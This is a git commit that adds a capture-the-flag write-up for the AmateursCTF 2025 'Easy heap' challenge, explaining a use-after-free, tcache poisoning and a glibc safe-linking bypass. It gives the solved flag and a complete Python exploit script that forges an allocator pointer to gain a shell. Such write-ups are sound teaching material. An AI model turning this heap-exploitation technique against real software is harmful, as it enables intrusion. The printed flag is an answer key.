diff options
| author | Matt Hunter <m@lfurio.us> | 2025-11-25 07:04:23 -0500 |
|---|---|---|
| committer | Matt Hunter <m@lfurio.us> | 2025-11-25 07:04:23 -0500 |
| commit | f462e6b77bfa2e9660809400a1f48073fec07f55 (patch) | |
| tree | 046b29b89334dbc8efdab37913ddb0fc54fe281e | |
| parent | 7c2211f61ef869c78b5a2d8a8aa0fb6680b94cf0 (diff) | |
| download | lib-des-gnux-f462e6b77bfa2e9660809400a1f48073fec07f55.tar.gz lib-des-gnux-f462e6b77bfa2e9660809400a1f48073fec07f55.zip | |
Writeup AmateursCTF 2025 / Easy heap
Signed-off-by: Matt Hunter <m@lfurio.us>
| -rw-r--r-- | docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt | 147 |
1 files changed, 147 insertions, 0 deletions
diff --git a/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt b/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt new file mode 100644 index 0000000..34ed9af --- /dev/null +++ b/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt @@ -0,0 +1,147 @@ +"I promise it is actually simple this time." + + + +This challenge consists of a single x86_64 ELF executable. There is also a +Dockerfile provided to allow you to setup a copy of the remote service. I found +this particularly useful - since this challenge involves a heap allocator +vulnerability, the libc version in use is very important. I actually couldn't +get a solution working on my dev machine and stuck to working inside this +container for the duration of the problem. + + + +RE +-- +The program operates in an infinite loop, performing actions based on the user's +selections from an invisible menu. We can malloc, free, read from, and write to +a collection of heap-based memory regions. There is also an extra menu option +that calls into another function to perform a "win" check - if some global +buffer contains the string "ALL HAIL OUR LORD AND SAVIOR TEEMO", the check() +function will graciously give us a shell on the system. + +None of the IO allows us to overrun any memory allocations. All calls to malloc +are for 0x67 bytes, and all reads and writes on the heap buffers are also for +up to 0x67 bytes, so we cant corrupt memory that way. Instead, this program is +vulnerable to a Use-After-Free bug, since the free() operation fails to set any +pointers to NULL after releasing them. + +If we can trick the allocator to return a pointer to the global "check" buffer, +then use the menu to let us write arbitrary data into it, we can populate it +with the magic string mentioned above, allowing check() to give us a shell. + + + +Tcache / Forward pointers +------------------------- +It is significant that every heap allocation made by the program is of the +exact same size. This allows us to assume that the same collection of heap +memory "chunks" will be pulled from in order to service our malloc requests. +The fact that the same bin is used throughout the lifecycle of the process is +convenient because any memory corruption we perform in a freed chunk will have +direct impact on the behavior of the allocator on our next call to malloc(). + +The tcache table will store pointers to what is effectively a linked-list of +freed memory chunks, available for reuse. This forms a linked-list because it +is metadata present at the beginning of each freed chunk that points to the next +available chunk, if any. The tcache is only formatted as a table so that it may +accommodate chunks of various sizes. + +We can not modify the tcache directly since we don't have a pointer to it setup +in the program. However, due to the program use-after-free vulnerability, we +can corrupt the forward pointers of any chunk after it becomes freed (since the +array in main still points to it). All we have to do is encode the address of +some memory that we want to access/modify into a chunk's forward pointer. Then, +when that chunk gets reused, our forged pointer is pulled into tcache for the +next allocation. + +The forward pointers are encoded in a special way, attempting to mitigate +tampering by an attacker. This technique is called "safe linking" and uses the +randomness of ASLR to protect the linked-list pointers like so: + + fp = (chunk_address >> 12) ^ pointer + +Normally, we would be unable to forge `chunk_address` due to ASLR. However, +this challenge allows us to read and write the chunk memory before and after +freeing, so we can leak it. + + + +The attack +---------- +We want to trick the allocator into returning a pointer to `checkbuf` so that we +can modify it with the magic string, then call check() to get a shell. + +First, malloc() then free() a pointer. This gets a chunk placed in the bin of +available chunks and leaves its pointer present in the array in main(). + +Read from this pointer to leak the encoded NULL pointer and recover the base +address of the chunk. + +Write back to this pointer, replacing the forward pointer metadata with our own. +This pointer should reference `checkbuf`. + +Call malloc again. This should return the original chunk and injest its +metadata to the tcache. + +Call malloc a final time. This time it returns a pointer to `checkbuf`, +believing it to be the next available chunk for reuse. + +Write to this pointer, to implant the magic string, then call check(). + +cat flag from the shell + +amateursCTF{what_is_a_flag?why_am_i_even_doing_this_anymore?crazy?i_was_crazy_once...} + + + +Solution in sploit follows + +``` +from nsploit.rev import * + +elf = ELF("./chal") + +def menu(a, b): + io.readuntil(contains, b"> ") + io.writeline(str(a).encode()) + io.readuntil(contains, b"> ") + io.writeline(str(b).encode()) + +def malloc(x): + menu(0, x) + +def free(x): + menu(1, x) + +def read(x, data): + menu(2, x) + io.readuntil(contains, b"data> ") + io.write(Payload()(data, padlen(0x67))()) + +def write(x): + menu(3, x) + io.readuntil(contains, b"data> ") + return io.read(0x67) + +def check(): + io.readuntil(contains, b"> ") + io.writeline(b"67") + +malloc(0) +free(0) + +base_ptr = btoi(write(0)[:8]) << 12 +print(hex(base_ptr)) + +crafted_ptr = (base_ptr >> 12) ^ elf.sym.checkbuf +read(0, itob(crafted_ptr)) + +malloc(0) # consume old chunk +malloc(1) # allocate forged ptr + +read(1, b"ALL HAIL OUR LORD AND SAVIOR TEEMO\x00") + +check() +io.interact() +``` |
